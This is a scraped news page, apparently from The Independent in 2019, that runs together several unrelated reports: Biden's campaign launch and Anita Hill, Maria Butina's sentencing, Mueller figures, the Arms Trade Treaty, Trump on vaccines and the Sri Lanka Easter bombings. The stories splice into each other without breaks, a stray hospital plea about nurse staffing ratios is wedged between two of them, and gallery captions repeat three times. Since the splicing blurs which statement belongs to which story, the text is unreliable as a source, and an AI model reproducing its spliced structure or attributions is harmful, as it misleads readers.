centrist Indiana mayor and war veteran would be the first openly LGBT+ president in American history Getty The Democrat challengers to Trump in 2020 DROPPED OUT: Deval Patrick The former Massachusetts governor launched a late 2020 candidacy and received very little reception. With just a few short months until the first voters flock to the polls, the former governor is running as a centrist and believes he can unite the party's various voting blocs AFP/Getty The Democrat challengers to Trump in 2020 DROPPED OUT: Beto O'Rourke The former Texas congressman formally launched his bid for the presidency in March. He ran on a progressive platform, stating that the US is driven by "gross differences in opportunity and outcome" AP The Democrat challengers to Trump in 2020 DROPPED OUT: Kamala Harris The former California attorney general was introduced to the national stage during Jeff Sessions testimony. She has endorsed Medicare-for-all and proposed a major tax-credit for the middle class AFP/Getty The Democrat challengers to Trump in 2020 DROPPED OUT: Bill De Blasio The New York mayor announced his bid on 16 May 2019. He emerged in 2013 as a leading voice in the left wing of his party but struggled to build a national profile and has suffered a number of political setbacks in his time as mayor AFP/Getty The Democrat challengers to Trump in 2020 DROPPED OUT: Steve Bullock The Montana governor announced his bid on 14 May. He stated "We need to defeat Donald Trump in 2020 and defeat the corrupt system that lets campaign money drown out the people's voice, so we can finally make good on the promise of a fair shot for everyone." He also highlighted the fact that he won the governor's seat in a red [Republican] state Reuters The Democrat challengers to Trump in 2020 DROPPED OUT: Cory Booker The New Jersey Senator has focused on restoring kindness and civility in American politics throughout his campaign, though he has failed to secure the same level of support and fundraising as several other senators running for the White House in 2020 Getty The Democrat challengers to Trump in 2020 DROPPED OUT: Wayne Messam Mayor of the city of Miramar in the Miami metropolitan area, Wayne Messam said he intended to run on a progressive platform against the "broken" federal government. He favours gun regulations and was a signatory to a letter from some 400 mayors condemning President Trump's withdrawal from the Paris Climate Accord Vice News The Democrat challengers to Trump in 2020 DROPPED OUT: Kirsten Gillibrand The New York Senator formally announced her presidential bid in January, saying that healthcare should be a right, not a privilege Getty The Democrat challengers to Trump in 2020 DROPPED OUT: John Delaney The Maryland congressman was the first to launch his bid for presidency, making the announcement in 2017 AP The Democrat challengers to Trump in 2020 DROPPED OUT: Andrew Yang The entrepreneur announced his presidential candidacy by pledging that he would introduce a universal basic income of $1,000 a month to every American over the age of 18 Getty The Democrat challengers to Trump in 2020 DROPPED OUT: Julian Castro The former San Antonio mayor announced his candidacy in January and said that his running has a special meaning for the Latino community in the US Getty The Democrat challengers to Trump in 2020 DROPPED OUT: Marianne Williamson The author and spiritual adviser has announced her intention to run for president. She had previously run for congress as an independent in 2014 but was unsuccessful Getty The Democrat challengers to Trump in 2020 DROPPED OUT: Eric Swalwell One of the younger candidates, Swalwell has served on multiple committees in the House of Representatives. He intended to make gun control central to his campaign but dropped out after his team said it was clear there was no path to victory Getty The Democrat challengers to Trump in 2020 DROPPED OUT: Seth Moulton A Massachusetts congressman, Moulton is a former US soldier who is best known for trying to stop Nancy Pelosi from becoming speaker of the house. He dropped out of the race after not polling well in key states Getty The Democrat challengers to Trump in 2020 DROPPED OUT: Jay Inslee Inslee has been governor of Washington since 2013. His bid was centred around climate change AFP/Getty The Democrat challengers to Trump in 2020 DROPPED OUT: John Hickenlooper The former governor of Colorado aimed to sell himself as an effective leader who was open to compromise, but failed to make a splash on the national stage Getty The Democrat challengers to Trump in 2020 DROPPED OUT: Tim Ryan Ohio representative Tim Ryan ran on a campaign that hinged on his working class roots, though his messaging did not appear to resonate with voters Getty The Democrat challengers to Trump in 2020 DROPPED OUT: Tom Steyer Democratic presidential hopeful billionaire and philanthropist Tom Steyer is a longtime Democratic donor AFP/Getty The presidential hopeful has said he wishes he could have avoided questioning by some male lawmakers that he called "hostile and insulting." To this day I regret I couldnt come up with a way to give her the kind of hearing she deserved, he said last month, echoing comments he delivered last fall as the nation debated sexual misconduct allegations against Brett Kavanaugh amid his Supreme Court confirmation hearing. I wish I could have done something. Ms Hill said Mr Biden needs to give an apology to the other women and to the American public because we know now how deeply disappointed Americans around the country were about what they saw during the hearings. There are women and men now who have just really lost confidence in our government to respond to the problem of gender violence, she added. Support free-thinking journalism and attend Independent events Mr Bidens deputy campaign manager Kate Bedingfield confirmed the former vice president called Ms Hill, telling the Times in a statement, They had a private discussion where he shared with her directly his regret for what she endured and his admiration for everything she has done to change the culture around sexual harassment in this country. The Associated Press contributed to this report If nurse staffing ratios are mandated for hospitals, we will be forced to reduce or close healthcare services and units. There will be times when hospitals will have to go on bypass (sending patients to other hospitals) during unpredictable periods of elevated need when there are not enough nurses in the emergency department to treat patients to comply with the ratio mandates.We urge our state legislators to oppose House Bill 2604 or any other legislative proposal that would impose unworkable and costly nurse staffing ratios that wont improve care for our patients. Joe Biden has set a new fundraising record for the 2020 Democratic primaries after raising a staggering $6.3m (4.8m) in just 24 hours. The former vice president raised funds from more more than 96,000 contributors, according to his campaign. He beat out previous records set first by Texas Democrat Beto ORourke and then bested by Bernie Sanders, whose campaign has raised the most funds so far ahead of the primaries. Mr Biden enters the massive primary field as one of the clear frontrunners, also topping Mr Sanders in several national polls before he officially announced the launch of his candidacy Thursday. Meanwhile, campaign fundraising experts say his access to the coveted 2012 email list used in former President Barack Obamas re-election will help him remain a fundraising juggernaut along the campaign trail. The Democrat challengers to Trump in 2020 Show all 25 1 /25 The Democrat challengers to Trump in 2020 The Democrat challengers to Trump in 2020 Bernie Sanders The Vermont senator has launched a second bid for president after losing out to Hilary Clinton in the 2016 Democratic primaries. He is running on a similar platform of democratic socialist reform Getty The Democrat challengers to Trump in 2020 Joe Biden The former vice president recently faced scrutiny for inappropriate touching of women, but was thought to deal with the criticism well and has since maintained a front runner status in national polling EPA The Democrat challengers to Trump in 2020 Elizabeth Warren The Massachusetts senator is a progressive Democrat, and a major supporter of regulating Wall Street Reuters The Democrat challengers to Trump in 2020 Amy Klobuchar Klobuchar is a Minnesota senator who earned praise for her contribution to the Brett Kavanaugh hearings Getty The Democrat challengers to Trump in 2020 Michael Bloomberg Michael Bloomberg, a late addition to the 2020 race, announced his candidacy after months of speculation in November. He has launched a massive ad-buying campaign and issued an apology for the controversial "stop and frisk" programme that adversely impacted minority communities in New York City when he was mayor Getty Images The Democrat challengers to Trump in 2020 Tulsi Gabbard The Hawaii congresswoman announced her candidacy in January, but has faced tough questions on her past comments on LGBT+ rights and her stance on Syrian President Bashar al-Assad Getty The Democrat challengers to Trump in 2020 DROPPED OUT: Pete Buttigieg The centrist Indiana mayor and war veteran would be the first openly LGBT+ president in American history Getty The Democrat challengers to Trump in 2020 DROPPED OUT: Deval Patrick The former Massachusetts governor launched a late 2020 candidacy and received very little reception. With just a few short months until the first voters flock to the polls, the former governor is running as a centrist and believes he can unite the party's various voting blocs AFP/Getty The Democrat challengers to Trump in 2020 DROPPED OUT: Beto O'Rourke The former Texas congressman formally launched his bid for the presidency in March. He ran on a progressive platform, stating that the US is driven by "gross differences in opportunity and outcome" AP The Democrat challengers to Trump in 2020 DROPPED OUT: Kamala Harris The former California attorney general was introduced to the national stage during Jeff Sessions testimony. She has endorsed Medicare-for-all and proposed a major tax-credit for the middle class AFP/Getty The Democrat challengers to Trump in 2020 DROPPED OUT: Bill De Blasio The New York mayor announced his bid on 16 May 2019. He emerged in 2013 as a leading voice in the left wing of his party but struggled to build a national profile and has suffered a number of political setbacks in his time as mayor AFP/Getty The Democrat challengers to Trump in 2020 DROPPED OUT: Steve Bullock The Montana governor announced his bid on 14 May. He stated "We need to defeat Donald Trump in 2020 and defeat the corrupt system that lets campaign money drown out the people's voice, so we can finally make good on the promise of a fair shot for everyone." He also highlighted the fact that he won the governor's seat in a red [Republican] state Reuters The Democrat challengers to Trump in 2020 DROPPED OUT: Cory Booker The New Jersey Senator has focused on restoring kindness and civility in American politics throughout his campaign, though he has failed to secure the same level of support and fundraising as several other senators running for the White House in 2020 Getty The Democrat challengers to Trump in 2020 DROPPED OUT: Wayne Messam Mayor of the city of Miramar in the Miami metropolitan area, Wayne Messam said he intended to run on a progressive platform against the "broken" federal government. He favours gun regulations and was a signatory to a letter from some 400 mayors condemning President Trump's withdrawal from the Paris Climate Accord Vice News The Democrat challengers to Trump in 2020 DROPPED OUT: Kirsten Gillibrand The New York Senator formally announced her presidential bid in January, saying that healthcare should be a right, not a privilege Getty The Democrat challengers to Trump in 2020 DROPPED OUT: John Delaney The Maryland congressman was the first to launch his bid for presidency, making the announcement in 2017 AP The Democrat challengers to Trump in 2020 DROPPED OUT: Andrew Yang The entrepreneur announced his presidential candidacy by pledging that he would introduce a universal basic income of $1,000 a month to every American over the age of 18 Getty The Democrat challengers to Trump in 2020 DROPPED OUT: Julian Castro The former San Antonio mayor announced his candidacy in January and said that his running has a special meaning for the Latino community in the US Getty The Democrat challengers to Trump in 2020 DROPPED OUT: Marianne Williamson The author and spiritual adviser has announced her intention to run for president. She had previously run for congress as an independent in 2014 but was unsuccessful Getty The Democrat challengers to Trump in 2020 DROPPED OUT: Eric Swalwell One of the younger candidates, Swalwell has served on multiple committees in the House of Representatives. He intended to make gun control central to his campaign but dropped out after his team said it was clear there was no path to victory Getty The Democrat challengers to Trump in 2020 DROPPED OUT: Seth Moulton A Massachusetts congressman, Moulton is a former US soldier who is best known for trying to stop Nancy Pelosi from becoming speaker of the house. He dropped out of the race after not polling well in key states Getty The Democrat challengers to Trump in 2020 DROPPED OUT: Jay Inslee Inslee has been governor of Washington since 2013. His bid was centred around climate change AFP/Getty The Democrat challengers to Trump in 2020 DROPPED OUT: John Hickenlooper The former governor of Colorado aimed to sell himself as an effective leader who was open to compromise, but failed to make a splash on the national stage Getty The Democrat challengers to Trump in 2020 DROPPED OUT: Tim Ryan Ohio representative Tim Ryan ran on a campaign that hinged on his working class roots, though his messaging did not appear to resonate with voters Getty The Democrat challengers to Trump in 2020 DROPPED OUT: Tom Steyer Democratic presidential hopeful billionaire and philanthropist Tom Steyer is a longtime Democratic donor AFP/Getty Mr Bidens campaign touted an average online donation of $41 (32), with 97 per cent of those being under $200 (155). The 76-year-old candidate joined ABC's The View to discuss his campaign roll out Friday, expressing regret for several stains on his lengthy political career while defending his record in the US Senate and as the vice president under Mr Obama. Recommended Biden and Trump spar over age as 2020 race heats up Mr Biden joked about Donald Trumps comments made earlier in the morning about his age, in which the president claimed to be a young, vibrant man compared to the Democrat. If he looks young and vibrant compared to me, I should probably go home! he said Friday. Support free-thinking journalism and attend Independent events Mr Biden is expected to hit the campaign trail in earnest on Monday, when hes set to travel to several major primary states before delivering a speech in California later in the week. Maria Butina has been sentenced to 18 months over charges she failed to register as a foreign agent. The Russian gun rights activist requested to be deported and agreed to cooperate with US prosecutors, who her attorneys accused of sandbagging her with accusations of espionage when requesting the 18-month prison sentence. Butina was the first Russian operative to be charged and convicted in the US over attempts to influence American policy amid the 2016 presidential election, the Washington Post reported. The Russian agent was not charged with espionage, though she acknowledged she worked under ex-Kremlin official Alexander Torshin in an effort to build relationships with Americans capable of influencing US politics. The tactic is a typical strategy Russians use to intervene in foreign affairs, according to US intelligence experts. Her case was not handled by Special Counsel Robert Muellers office, but instead by the US attorneys office in Washington. Mueller investigation: The key figures Show all 12 1 /12 Mueller investigation: The key figures Mueller investigation: The key figures Robert Mueller is the special counsel overseeing the investigation into Russia's meddling in the 2016 election, and potential obstruction of justice by the president. Mr Mueller has a pristine reputation in Washington, where he was previously in charge of the FBI. Throughout his investigation, he and his team have been notoriously tight lipped about what they know and where their investigation has led. REUTERS Mueller investigation: The key figures Former FBI director James Comey was the catalyst that led to the appointment of special counsel Robert Mueller. Mr Comey was fired by the president after Mr Trump reportedly asked him to drop his own Russia investigation. Mr Trump has long maintained that the investigation is a "witch hunt". AFP/Getty Images Mueller investigation: The key figures Deputy attorney general Rod Rosenstein had authority over the special counsel investigation for much of the two years it has been active. Mr Rosenstein found himself with that responsibility after then-attorney general Jeff Sessions recused himself from that oversight. AP Mueller investigation: The key figures Attorney general Jeff Sessions's decision to recuse himself from oversight of the special counsel investigation may have cost him his job in the end. Mr Sessions resigned last year, after weathering a contentious relationship with Donald Trump who vocally criticised his attorney general for taking a step back. Mr Sessions recused himself from the oversight citing longstanding Justice Department rules to not be involved in investigations overseeing campaigns that officials were apart of. AP Mueller investigation: The key figures Attorney General William Barr is currently responsible for oversight of the special counsel investigation. Mr Barr's office will be the first to receive the Mueller report when it is finished. His office will then determine what portion or version of that report should be delivered to Congress, and also made public. EPA Mueller investigation: The key figures Michal Cohn is the president's former personal lawyer, who has been helping the special counsel investigation as a part of a plea deal over financial crimes, and campaign finance crimes, he has pleaded guilty to. Among those crimes, Cohen admitted to facilitating $130,000 in hush money payments to adult film actress Stormy Daniels during the 2016 campaign. Cohen has said he did so at the direction of Mr Trump. Cohen has also admitted that he maintained contacts with Russian officials about a potential Trump real estate project in Moscow for months longer than Mr Trump and others admitted. The talks continued well into 2016 during the campaign, he has said. AP Mueller investigation: The key figures Stormy Daniels has alleged that she had an affair with Donald Trump in 2006, soon after Melania Trump gave birth to Baron Trump. The accusation is of particular importance as a result of the $130,000 hush money payment she received to keep quiet about the affair during the 2016 campaign. AP Mueller investigation: The key figures Paul Manafort was Donald Trump's former campaign chairman. Manafort was charged alongside Rick Gates for a slew of financial crimes, and was convicted on several counts in a Virginia court. He then pleaded guilty to separate charges filed in a Washington court. Manafort has been sentenced to just 7.5 years in prison for his crimes in spite of recommendations from the special counsel's office for a much harsher sentence. AP Mueller investigation: The key figures George Papadopoulos was one of the first individuals associated with the Trump campaign to be charged by the Mueller probe. He ultimately received a 14 day prison sentence for lying to investigators about contacts he had with Russian officials. AP Mueller investigation: The key figures Roger Stone is a well known political fixer and operative, who has made a name for himself for some dirty tactics. He has been charged by the Mueller probe earlier this year, and he has been said to have had prior knowledge that WikiLeaks planned on publishing stolen emails from the Hillary Clinton campaign in 2016. Getty Images Mueller investigation: The key figures Rick Gates was charged alongside former Trump campaign chairman Paul Manafort for a range of crimes. Gates, who worked alongside Manafort for a pro-Russia Ukrainian political party. The two were charged with conspiracy and financial crimes. Gates pleaded guilty. AP Mueller investigation: The key figures Former national security adviser Michael Flynn was one of the first casualties of the Russia scandal, and was forced out of his position in the White House weeks after Donald Trump took office. Flynn pleaded guilty in 2017 to "willfully" making fraudulent statements about contacts he had with Russian officials including former Russian ambassador to the US Sergey Kislyak. Flynn then lied to Vice President Mike Pence about that contact. REUTERS Butina has already served nine months in a US prison and is expected to serve nine more, though she could be released early for good behaviour. She pleaded guilty last year to covertly gathering intelligence, claiming she was ashamed and embarrassed by her actions. Recommended Alleged Russian spy Maria Butina admits to conspiracy against US US District Judge Tanya Chutkan ordered Butina deported immediately following her prison sentence. Paul Erickson, an influential Republican adviser with whom Butina was found to have a romantic relationship with, was also indicted in February in an unrelated case involving investment fraud. Support free-thinking journalism and attend Independent events His attorney has claimed he has never done anything to hurt our country and never would. Butinas lawyers also defended her against accusations of anti-American conduct, claiming shes not a spy in any sense and adding the government knows that. A leading Democrat from Maryland is attempting to force members of Donald Trumps administration to comply with congressional subpoenas by threatening officials with "potential incarceration". This comes after the controversial Mueller report, which some view as historically damning and others view as evidence of president Trumps claims of "no collusion". The Mueller report deferred to Congress to make a decision and potentially take action against Mr Trump for obstruction. President Trump told reporters his administration and officials planned to resist all subpoenas, including Carl Kline, the former White House personnel security director who was involved in obtaining security clearance for Jared Kushner, who was reported to have conflicts of interest. Mr Kline was held in contempt of Congress after being advised not to appear by the White House. Congress plans to demand Trump officials testify. The Democrat challengers to Trump in 2020 Show all 25 1 /25 The Democrat challengers to Trump in 2020 The Democrat challengers to Trump in 2020 Bernie Sanders The Vermont senator has launched a second bid for president after losing out to Hilary Clinton in the 2016 Democratic primaries. He is running on a similar platform of democratic socialist reform Getty The Democrat challengers to Trump in 2020 Joe Biden The former vice president recently faced scrutiny for inappropriate touching of women, but was thought to deal with the criticism well and has since maintained a front runner status in national polling EPA The Democrat challengers to Trump in 2020 Elizabeth Warren The Massachusetts senator is a progressive Democrat, and a major supporter of regulating Wall Street Reuters The Democrat challengers to Trump in 2020 Amy Klobuchar Klobuchar is a Minnesota senator who earned praise for her contribution to the Brett Kavanaugh hearings Getty The Democrat challengers to Trump in 2020 Michael Bloomberg Michael Bloomberg, a late addition to the 2020 race, announced his candidacy after months of speculation in November. He has launched a massive ad-buying campaign and issued an apology for the controversial "stop and frisk" programme that adversely impacted minority communities in New York City when he was mayor Getty Images The Democrat challengers to Trump in 2020 Tulsi Gabbard The Hawaii congresswoman announced her candidacy in January, but has faced tough questions on her past comments on LGBT+ rights and her stance on Syrian President Bashar al-Assad Getty The Democrat challengers to Trump in 2020 DROPPED OUT: Pete Buttigieg The centrist Indiana mayor and war veteran would be the first openly LGBT+ president in American history Getty The Democrat challengers to Trump in 2020 DROPPED OUT: Deval Patrick The former Massachusetts governor launched a late 2020 candidacy and received very little reception. With just a few short months until the first voters flock to the polls, the former governor is running as a centrist and believes he can unite the party's various voting blocs AFP/Getty The Democrat challengers to Trump in 2020 DROPPED OUT: Beto O'Rourke The former Texas congressman formally launched his bid for the presidency in March. He ran on a progressive platform, stating that the US is driven by "gross differences in opportunity and outcome" AP The Democrat challengers to Trump in 2020 DROPPED OUT: Kamala Harris The former California attorney general was introduced to the national stage during Jeff Sessions testimony. She has endorsed Medicare-for-all and proposed a major tax-credit for the middle class AFP/Getty The Democrat challengers to Trump in 2020 DROPPED OUT: Bill De Blasio The New York mayor announced his bid on 16 May 2019. He emerged in 2013 as a leading voice in the left wing of his party but struggled to build a national profile and has suffered a number of political setbacks in his time as mayor AFP/Getty The Democrat challengers to Trump in 2020 DROPPED OUT: Steve Bullock The Montana governor announced his bid on 14 May. He stated "We need to defeat Donald Trump in 2020 and defeat the corrupt system that lets campaign money drown out the people's voice, so we can finally make good on the promise of a fair shot for everyone." He also highlighted the fact that he won the governor's seat in a red [Republican] state Reuters The Democrat challengers to Trump in 2020 DROPPED OUT: Cory Booker The New Jersey Senator has focused on restoring kindness and civility in American politics throughout his campaign, though he has failed to secure the same level of support and fundraising as several other senators running for the White House in 2020 Getty The Democrat challengers to Trump in 2020 DROPPED OUT: Wayne Messam Mayor of the city of Miramar in the Miami metropolitan area, Wayne Messam said he intended to run on a progressive platform against the "broken" federal government. He favours gun regulations and was a signatory to a letter from some 400 mayors condemning President Trump's withdrawal from the Paris Climate Accord Vice News The Democrat challengers to Trump in 2020 DROPPED OUT: Kirsten Gillibrand The New York Senator formally announced her presidential bid in January, saying that healthcare should be a right, not a privilege Getty The Democrat challengers to Trump in 2020 DROPPED OUT: John Delaney The Maryland congressman was the first to launch his bid for presidency, making the announcement in 2017 AP The Democrat challengers to Trump in 2020 DROPPED OUT: Andrew Yang The entrepreneur announced his presidential candidacy by pledging that he would introduce a universal basic income of $1,000 a month to every American over the age of 18 Getty The Democrat challengers to Trump in 2020 DROPPED OUT: Julian Castro The former San Antonio mayor announced his candidacy in January and said that his running has a special meaning for the Latino community in the US Getty The Democrat challengers to Trump in 2020 DROPPED OUT: Marianne Williamson The author and spiritual adviser has announced her intention to run for president. She had previously run for congress as an independent in 2014 but was unsuccessful Getty The Democrat challengers to Trump in 2020 DROPPED OUT: Eric Swalwell One of the younger candidates, Swalwell has served on multiple committees in the House of Representatives. He intended to make gun control central to his campaign but dropped out after his team said it was clear there was no path to victory Getty The Democrat challengers to Trump in 2020 DROPPED OUT: Seth Moulton A Massachusetts congressman, Moulton is a former US soldier who is best known for trying to stop Nancy Pelosi from becoming speaker of the house. He dropped out of the race after not polling well in key states Getty The Democrat challengers to Trump in 2020 DROPPED OUT: Jay Inslee Inslee has been governor of Washington since 2013. His bid was centred around climate change AFP/Getty The Democrat challengers to Trump in 2020 DROPPED OUT: John Hickenlooper The former governor of Colorado aimed to sell himself as an effective leader who was open to compromise, but failed to make a splash on the national stage Getty The Democrat challengers to Trump in 2020 DROPPED OUT: Tim Ryan Ohio representative Tim Ryan ran on a campaign that hinged on his working class roots, though his messaging did not appear to resonate with voters Getty The Democrat challengers to Trump in 2020 DROPPED OUT: Tom Steyer Democratic presidential hopeful billionaire and philanthropist Tom Steyer is a longtime Democratic donor AFP/Getty President Trump reinforced his claim that partisanship is playing a role in Congress pursuing information on him, his administration, and his officials, saying These arent like impartial people. The Democrats are trying to win 2020. Support free-thinking journalism and attend Independent events Gerry Connolly disputes this idea, focusing on the constitutional role of Congress. He said: We will go to the max to enforce the constitutional role of the legislative branch of government. If a subpoena is issued and you are told you must testify, we will back that up and we will use any and all power in our command to make sure its backed up whether its fines, whether its possible incarceration. Donald Trumps decision to pull the United States from the United Nations Arms Trade Treaty could lead the country into future foreign wars and exacerbate the immigration crisis at the southern border with Mexico, critics have claimed. Speaking at the annual convention of the National Rifle Association (NRA) in Indianapolis, the president said he was withdrawing US support from the accord because it gave a degree of US sovereignty to other countries. But some critics decried the move, saying it would create more problems, rather than solve them. If you look at it downstream, I think it creates real risk that the we are drawn into conflicts that are filled with guns manufactured and sold in the United States to these entities, Kris Brown, the president of the national gun safety group Brady, told The Independent. Ms Brown explained the UN Arms Trade Treaty was designed to forbid the sale of firearms to dangerous foreign actors and human rights abusers, and that the deal was supported by 100 countries across the world, including Americas European allies. Students walk out of US schools to protest gun violence Show all 10 1 /10 Students walk out of US schools to protest gun violence Students walk out of US schools to protest gun violence Young people march from the White House to Capitol Hill while participating in the national school walkout over gun violence. EPA Students walk out of US schools to protest gun violence Thousands of local students march down Pennsylvania Avenue from the White House to the US Capitol during a nationwide student walkout for gun control. AFP/Getty Students walk out of US schools to protest gun violence A student has the words,'don't shoot,' written on her hands as she joins with other students at Marjory Stoneman Douglas High School after walking out of their school to honor the memories of 17 students and teachers that were killed. Getty Students walk out of US schools to protest gun violence Students take part in a walkout at General McLane High School. AP Students walk out of US schools to protest gun violence Students from Harvest Collegiate High School stand in Washington Square Park in New York to take part in a national walkout to protest gun violence. AFP/Getty Students walk out of US schools to protest gun violence Students rally in front of the White House in Washington after walking out of school to protest gun violence in the biggest demonstration yet of the student activism that has emerged in response to last month's massacre of 17 people at Florida's Marjory Stoneman Douglas High School. AP Students walk out of US schools to protest gun violence Airport High School juniors Tony LaFata, 16, left, and Noah Doederlein, 17, stands for a moment of silence during a walkout at General McLane High School. AP Students walk out of US schools to protest gun violence Young people rally on the West Front of the US Capitol to participate in the national school walkout over gun violence, in Washington. EPA Students walk out of US schools to protest gun violence Students from Passaic High School hold photos of some of the 17 victims killed at Marjory Stoneman Douglas High School. AP Students walk out of US schools to protest gun violence Students join hands as they take part in a student walkout in Lafayette. AP Pulling out of the deal essentially allows the sale of US firearms to foreign actors, which could then be used in wars that threaten American interests abroad, and then pull the US into those conflicts. Weve seen this movie before many times over, Ms Brown said. During his speech on Friday, the president said that he decided to remove Americas signature from the treaty because he believed the deal hands over some sovereignty to foreign decision makers. That announcement represented a major policy victory to the NRA, which broke its own record for campaign spending to support the former reality television star in 2016. We will never allow foreign bureaucrats to trample on your Second Amendment freedom, Mr Trump said. Im officially announcing today that the United States will be revoking the effect of Americas signature from this badly misguided treaty. Support free-thinking journalism and attend Independent events But proponents of the treaty which was first developed during the administration of George W Bush and finalised during Barack Obamas presidency say that the treaty would have no impact on US domestic firearm laws. Ms Brown said that pulling out of the treaty could even fuel the kind of violence that has sent thousands of migrants north from Central American to the US, seeking asylum. She said the idea was pretty simple: US guns are sold with less regard to whether the weapons are getting into the hands of human rights abusers, and those weapons are used to spread fear among populations who are then forced to flee. That flow of migrants has prompted Mr Trump to declare an emergency in the US, and provided reason for Mr Trump to push for a border wall on the US-Mexico border. Thats an impact and quite frankly the logical outgrowth of this is you also have many people in those regions who are displaced as a result of the conflicts that are fuelled with these weapons, and we see often in countries neighbouring the Untied States the impact on many of those people is to flee, Ms Brown said. She continued: It increases strain and stress around immigration. All of these issues are connected to one another. Donald Trump has said people "have to get their shots" in an apparent attempt to encourage vaccinations in the face of a measles outbreak sweeping parts of the US. In the past, the president has repeatedly linked vaccinations to autism. "The vaccinations are so important. This is really going around now," he told reporters outside the White House. "They have to get their shots." The president was speaking in the wake of a troubling resurgence in the spread of the disease, which was once eradicated. The number of measles cases in the US is now at the highest level since 2000. Some 700 cases have been reported this year, and the spread has been largely attributed to misinformation that is turning parents against vaccines. The warning comes despite the fact that Mr Trump has repeatedly attempted to link vaccinations and autism, flying in the face of scientific evidence. The famous faces of the anti-vaccine movement Show all 7 1 /7 The famous faces of the anti-vaccine movement The famous faces of the anti-vaccine movement Charlie Sheen Sheen fought a legal battle against ex-wife Denise Richards to try and block her from vaccinating their children. Richards of course won and Sheen was reportedly so bitter that he paid the paediatrician bill entirely in nickels Getty The famous faces of the anti-vaccine movement Gwyneth Paltrow Paltrow's "health and wellness" company Goop hosted a notorious anti-vaccine speaker at their 2018 Goop Summit Getty The famous faces of the anti-vaccine movement Rob Schneider Schneider demanded the freedom to decline vaccination Getty The famous faces of the anti-vaccine movement Jenny McCarthy McCarthy has claimed that "people are dying from vaccinations", believes that her son caught autism from a vaccine and has pushed her opinions on the topic publicly for many years AFP/Getty The famous faces of the anti-vaccine movement Bill Maher Maher has long spoken against vaccines sating on Larry King live that "a flu shot is the worst thing you can do." His stance appears to stem from a distrust of government AFP/Getty The famous faces of the anti-vaccine movement Alicia Silverstone In Silverstone's book The Kind Mama, she wrote that "there is increasing anecdotal evidence from doctors who have gotten distressed phone calls from parents claiming their child was never the same after receiving a vaccine." Getty The famous faces of the anti-vaccine movement Andrew Wakefield Godfather of the anti-vax movement, disgraced doctor Andrew Wakefield famously published a report in the medical journal Lancet claiming a link between the MMR vaccine and autism in 1998. The Lancet retracted the report in 2010 and Wakefield was struck off the medical register PA He has tweeted about the conspiracy theory more than 20 times, to the dismay of leading scientific groups. Mr Trump also met with leading anti-vaccination campaigners before his election. The US's own federal agency, the Centres for Disease Control, has repeatedly urged citizens to ensure that they and their children are vaccinated. Credible scientific evidence shows that vaccines are very safe and do not cause autism spectrum disorders (ASD)," it said in a statement last year, amid concern about Mr Trump's links to the anti-vaxx cause. CDC, the Federal Drug Administration, and the Advisory Committee on Immunisation Practices, regularly review data to ensure that vaccine recommendations are based on the latest available science to provide safe and effective protection against serious diseases. Concerned parents should be reassured that recommended childhood vaccines have a strong safety record. It added: For the general population, maintaining high vaccination levels is important not only for the individual person but also to protect potentially deadly diseases from spreading to the most vulnerable among us, such as patients with weakened immune systems and newborn children who are too young to be vaccinated. The president made the comments as he spoke to reporters before leaving for Indiana, where he will speak at the annual NRA convention. During the same discussion, he referred to himself as "the youngest person" and attacked newly declared Democrat candidate Joe Biden. The ringleader behind the Easter Sunday bombings in Sri Lanka is believed to have died in the attacks, the president said, as authorities hunted as many as 140 people suspected of links to Isis. Speaking at a news conference on Friday, President Maithripala Sirisena said Zahran Hashim, also known as Mohamed Zahran, was one of the two suicide bombers who targeted the Shangri-La hotel in central Colombo. After authorities revised down the death toll from Sundays attacks from 359 to at least 253, Mr Sirisena admitted it had been very difficult to establish the precise number of casualties due to the state the bodies were in. Zahran was a radical preacher on YouTube with thousands of followers and was named prior to the attacks in an internal police document. The three-page memo, which the president said was not shared with his office, said Zahran was the leader of National Thowheedh Jamaat (NTJ), a newly formed jihadist group intent on carrying out attacks on churches and hotels. Police said they had detained the NTJs second-in-command, among more than 70 arrests made in the days since the attacks. Isis claimed responsibility for the bombings on Tuesday, and police said in a post on Twitter that the militants were thought to have received some weapons training overseas. Earlier on Friday, the Australian prime minister said it was confirmed that the attackers had been supported by Isis. Scott Morrison said Isiss central leadership had been involved in selecting the targets. With the UK, US and other governments warning their citizens of an ongoing threat of more attacks in Sri Lanka, Mr Sirisena said investigations showed there were 140 people in the country involved in Isis-linked activity. "Police are looking to arrest them," the president said. Some of the links dated as far back as 2013, he said, adding that action was being taken over the failure of the security services to prevent the attacks from taking place. Defence Secretary Hemasiri Fernando resigned on Thursday, and Mr Sirisena said the inspector-general of police, Pujith Jayasundara, had said he will resign now. Also on Friday, police initially identified six prime suspects over the bombings, listing their names and pictures in a post on Twitter. But the message was deleted a short while later after the picture of an American Muslim woman, who campaigns against media stereotypes about Islam, was mistakenly included in the list. Activist and author Amara Majeed wrote on Twitter: ""I have this morning been FALSELY identified by the Sri Lankan government as one of the ISIS Easter attackers in Sri Lanka. What a thing to wake up to!" Sri Lankan police confirmed the error in a statement. The main Twitter account linked to the force later appeared to have been deleted. Recommended Sri Lankans recall devastating moment Negombo church was hit Meanwhile, almost 10,000 soldiers were deployed across the island nation on Friday to carry out searches and provide additional security at places of worship. The government and religious leaders requested Muslims stay at home rather than go to communal Friday prayers, and Cardinal Malcolm Ranjith also appealed to Catholic priests not to conduct mass at churches until further notice. Some Muslims did brave the threat of further attacks to venture out on Friday afternoon to pray. Hundreds gathered at the Masjidus Salam Jumma mosque in Colombo, some praying through tears to Allah to help their fellow countrymen. Those who carried out the attacks were not Muslims, said Akurana Muhandramlage Jamaldeen Mohamed Jayfer, the chairman of the mosque. He told the Associated Press: This is not Islam. This is an animal. We don't have a word [strong enough] to curse them. There are growing fears among the minority Muslim community of a violent retribution after the attacks. The Independent visited Muslim traders at the normally vibrant Pettah market in Colombo on Thursday, finding many shops shutting early amid the heightened tensions. At the Kollupitiya Jumma Masjid mosque on Friday, a short walk from St Anthonys church which was among the targets last Sunday, soldiers hurried on dawdling worshippers and sniffer dogs checked vehicles. "It's a very sad situation," 28-year-old sales worker Raees Ulhaq told Reuters. We work with Christians, Buddhists, Hindus. It has been a threat for all of us because of what these few people have done to this beautiful country. Additional reporting by agencies Shooting broke out between security forces and a group of men in eastern Sri Lanka during a search operation related to the Easter Sunday attacks, said the military. Brigadier Sumith Atapattu said the gun battle began after soldiers were fired upon when they investigated an explosion in the coastal town of Sammanthurai, 320 km (200 miles) from the capital. According to Sri Lankan media reports, the security forces raided a property believed to have been used to manufacture suicide vests. Police spokesman Ruwan Gunasekara said officers in Sammanthurai had found explosive materials, including 150 sticks of blasting gelatin and 100,000 small metal balls, as well as a van and clothing suspected to be used by those involved in 